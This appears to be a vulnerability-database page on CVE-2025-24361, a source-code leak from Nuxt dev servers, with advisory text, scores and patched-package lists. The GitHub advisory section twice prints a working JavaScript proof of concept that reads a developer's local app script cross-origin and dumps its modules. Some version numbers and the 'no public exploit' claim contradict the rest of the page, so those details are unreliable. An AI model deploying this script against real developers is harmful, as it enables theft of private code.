CVE-2025-24361
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.3
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.
- Record
CVE-2025-24361- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
EUVDEUVD-2025-0132
5.3
Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.
- Record
EUVD-2025-0132- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-4gf7-ff8x-hq99
5.3
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Summary
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script.
By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.
PoC
- Create a nuxt project with webpack / rspack builder.
- Run
npm run dev - Open
http://localhost:3000 - Run the script below in a web site that has a different origin.
- You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
for (const page in window.webpackChunknuxt_app) {
const moduleList = window.webpackChunknuxt_app[page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).
Impact
Users using webpack / rspack builder may get the source code stolen by malicious websites.
- Record
GHSA-4gf7-ff8x-hq99- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
NVD
5.3
Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.
- Record
CVE-2025-24361- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
OSV
5.3
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Nuxt is an open-source web development framework for Vue.js. Source code may be stolen during dev when using version 3.0.0 through 3.15.12 of the webpack builder or version 3.12.2 through 3.152 of the rspack builder and a victim opens a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code. Version 3.15.13 of Nuxt patches this issue.
- Record
CVE-2025-24361- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
OSVGHSA-4gf7-ff8x-hq99
5.3
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Summary
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script.
By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.
PoC
- Create a nuxt project with webpack / rspack builder.
- Run
npm run dev - Open
http://localhost:3000 - Run the script below in a web site that has a different origin.
- You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
for (const page in window.webpackChunknuxt_app) {
const moduleList = window.webpackChunknuxt_app[page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).
Impact
Users using webpack / rspack builder may get the source code stolen by malicious websites.
- Record
GHSA-4gf7-ff8x-hq99- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-749
- Updated
- 2026-11-02
Show 18 moreShow less
OSVCLSA-2026-1776040398 No score
TuxCare security update for nuxt (1 CVE)
TuxCare rebuilt nuxt to address 1 CVE. Fixed in 3.12.4-tuxcare.2.
- Record
CLSA-2026-1776040398- Updated
- 2026-11-02
OSVCLSA-2026-1792161443 No score
TuxCare security update for @nuxt/kit (1 CVE)
TuxCare rebuilt @nuxt/kit to address 1 CVE. Fixed in 3.12.4-tuxcare.2.
- Record
CLSA-2026-1792161443- Updated
- 2026-11-02
OSVCLSA-2026-1792161449 No score
TuxCare security update for @nuxt/kit (2 CVEs)
TuxCare rebuilt @nuxt/kit to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.
- Record
CLSA-2026-1792161449- Updated
- 2026-11-02
OSVCLSA-2026-1792161456 No score
TuxCare security update for @nuxt/kit (2 CVEs)
TuxCare rebuilt @nuxt/kit to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.
- Record
CLSA-2026-1792161456- Updated
- 2026-11-02
OSVCLSA-2026-1792161583 No score
TuxCare security update for @nuxt/schema (1 CVE)
TuxCare rebuilt @nuxt/schema to address 1 CVE. Fixed in 3.12.4-tuxcare.2.
- Record
CLSA-2026-1792161583- Updated
- 2026-11-02
OSVCLSA-2026-1792161589 No score
TuxCare security update for @nuxt/schema (2 CVEs)
TuxCare rebuilt @nuxt/schema to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.
- Record
CLSA-2026-1792161589- Updated
- 2026-11-02
OSVCLSA-2026-1792161598 No score
TuxCare security update for @nuxt/schema (2 CVEs)
TuxCare rebuilt @nuxt/schema to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.
- Record
CLSA-2026-1792161598- Updated
- 2026-11-02
OSVCLSA-2026-1792161807 No score
TuxCare security update for @nuxt/vite-builder (1 CVE)
TuxCare rebuilt @nuxt/vite-builder to address 1 CVE. Fixed in 3.12.4-tuxcare.2.
- Record
CLSA-2026-1792161807- Updated
- 2026-11-02
OSVCLSA-2026-1792161811 No score
TuxCare security update for @nuxt/vite-builder (2 CVEs)
TuxCare rebuilt @nuxt/vite-builder to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.
- Record
CLSA-2026-1792161811- Updated
- 2026-11-02
OSVCLSA-2026-1792161820 No score
TuxCare security update for @nuxt/vite-builder (2 CVEs)
TuxCare rebuilt @nuxt/vite-builder to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.
- Record
CLSA-2026-1792161820- Updated
- 2026-11-02
OSVCLSA-2026-1792161920 No score
TuxCare security update for @nuxt/webpack-builder (1 CVE)
TuxCare rebuilt @nuxt/webpack-builder to address 1 CVE. Fixed in 3.12.4-tuxcare.2.
- Record
CLSA-2026-1792161920- Updated
- 2026-11-02
OSVCLSA-2026-1792161925 No score
TuxCare security update for @nuxt/webpack-builder (2 CVEs)
TuxCare rebuilt @nuxt/webpack-builder to address 2 CVEs. Fixed in 3.12.3-tuxcare.3.
- Record
CLSA-2026-1792161925- Updated
- 2026-11-02
OSVCLSA-2026-1792161933 No score
TuxCare security update for @nuxt/webpack-builder (2 CVEs)
TuxCare rebuilt @nuxt/webpack-builder to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.
- Record
CLSA-2026-1792161933- Updated
- 2026-11-02
OSVCLSA-2026-1792163456 No score
TuxCare security update for @nuxt/test-utils (2 CVEs)
TuxCare rebuilt @nuxt/test-utils to address 2 CVEs. Fixed in 3.2.0-tuxcare.4.
- Record
CLSA-2026-1792163456- Updated
- 2026-11-02
OSVCLSA-2026-1792758402 No score
TuxCare security update for nuxt (3 CVEs)
TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.12.4-tuxcare.16.
- Record
CLSA-2026-1792758402- Updated
- 2026-11-02
OSVCLSA-2026-1792758690 No score
TuxCare security update for nuxt (3 CVEs)
TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.12.3-tuxcare.12.
- Record
CLSA-2026-1792758690- Updated
- 2026-11-02
OSVCLSA-2026-1792758921 No score
TuxCare security update for nuxt (3 CVEs)
TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.2.0-tuxcare.8.
- Record
CLSA-2026-1792758921- Updated
- 2026-11-03
OSVCLSA-2026-1793661076 No score
TuxCare security update for nuxi (3 CVEs)
TuxCare rebuilt nuxi to address 3 CVEs. Fixed in 3.2.0-tuxcare.8.
- Record
CLSA-2026-1793661076- Updated
- 2026-11-03
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@nuxt/webpack-buildernpm |
3.0.0 up to 3.15.3 | 3.15.3 |
@nuxt/rspack-buildernpm |
3.12.2 up to 3.15.3 | 3.15.3 |
nuxtTuxCare:npm |
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions 3.12.4 |
3.12.4-tuxcare.2 |
@nuxt/kitTuxCare:npm |
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions 3.12.4 |
3.12.4-tuxcare.2 |
@nuxt/kitTuxCare:npm |
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions 3.12.33.12.3-tuxcare.1 |
3.12.3-tuxcare.3 |
@nuxt/kitTuxCare:npm From an advisory covering 2 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions 3.2.03.2.0-tuxcare.2 |
3.2.0-tuxcare.4 |
@nuxt/schemaTuxCare:npm |
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions 3.12.4 |
3.12.4-tuxcare.2 |
@nuxt/schemaTuxCare:npm |
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions 3.12.33.12.3-tuxcare.1 |
3.12.3-tuxcare.3 |
@nuxt/schemaTuxCare:npm From an advisory covering 2 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions 3.2.03.2.0-tuxcare.2 |
3.2.0-tuxcare.4 |
@nuxt/vite-builderTuxCare:npm |
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions 3.12.4 |
3.12.4-tuxcare.2 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@nuxt/vite-builderTuxCare:npm |
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions 3.12.33.12.3-tuxcare.1 |
3.12.3-tuxcare.3 |
@nuxt/vite-builderTuxCare:npm From an advisory covering 2 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions 3.2.03.2.0-tuxcare.2 |
3.2.0-tuxcare.4 |
@nuxt/webpack-builderTuxCare:npm |
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.2, plus listed versions 3.12.4 |
3.12.4-tuxcare.2 |
@nuxt/webpack-builderTuxCare:npm |
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.3, plus listed versions 3.12.33.12.3-tuxcare.1 |
3.12.3-tuxcare.3 |
@nuxt/webpack-builderTuxCare:npm From an advisory covering 2 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions 3.2.03.2.0-tuxcare.2 |
3.2.0-tuxcare.4 |
@nuxt/test-utilsTuxCare:npm From an advisory covering 2 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.4, plus listed versions 3.2.03.2.0-tuxcare.2 |
3.2.0-tuxcare.4 |
nuxtTuxCare:npm From an advisory covering 3 CVEs |
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.16, plus listed versions 3.12.43.12.4-tuxcare.103.12.4-tuxcare.113.12.4-tuxcare.123.12.4-tuxcare.13 Show 10 moreShow less3.12.4-tuxcare.143.12.4-tuxcare.153.12.4-tuxcare.23.12.4-tuxcare.33.12.4-tuxcare.43.12.4-tuxcare.53.12.4-tuxcare.63.12.4-tuxcare.73.12.4-tuxcare.83.12.4-tuxcare.9 |
3.12.4-tuxcare.16 |
nuxtTuxCare:npm From an advisory covering 3 CVEs |
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.12, plus listed versions 3.12.33.12.3-tuxcare.13.12.3-tuxcare.103.12.3-tuxcare.113.12.3-tuxcare.2 Show 7 moreShow less3.12.3-tuxcare.33.12.3-tuxcare.43.12.3-tuxcare.53.12.3-tuxcare.63.12.3-tuxcare.73.12.3-tuxcare.83.12.3-tuxcare.9 |
3.12.3-tuxcare.12 |
nuxtTuxCare:npm From an advisory covering 3 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.8, plus listed versions 3.2.03.2.0-tuxcare.13.2.0-tuxcare.23.2.0-tuxcare.33.2.0-tuxcare.43.2.0-tuxcare.53.2.0-tuxcare.63.2.0-tuxcare.7 |
3.2.0-tuxcare.8 |
nuxiTuxCare:npm From an advisory covering 3 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.8, plus listed versions 3.2.03.2.0-tuxcare.23.2.0-tuxcare.43.2.0-tuxcare.53.2.0-tuxcare.63.2.0-tuxcare.7 |
3.2.0-tuxcare.8 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected, aliases | OSV | |
| aliases, products, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-24361 is a medium vulnerability (CVSS 5.3) in @clerk Nuxt, published January 25, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in @nuxt/webpack-builder 3.15.3.
References
github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99
github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f
nvd.nist.gov/vuln/detail/CVE-2025-24361
github.com/advisories/GHSA-4gf7-ff8x-hq99
github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24361.json
github.com/nuxt/nuxt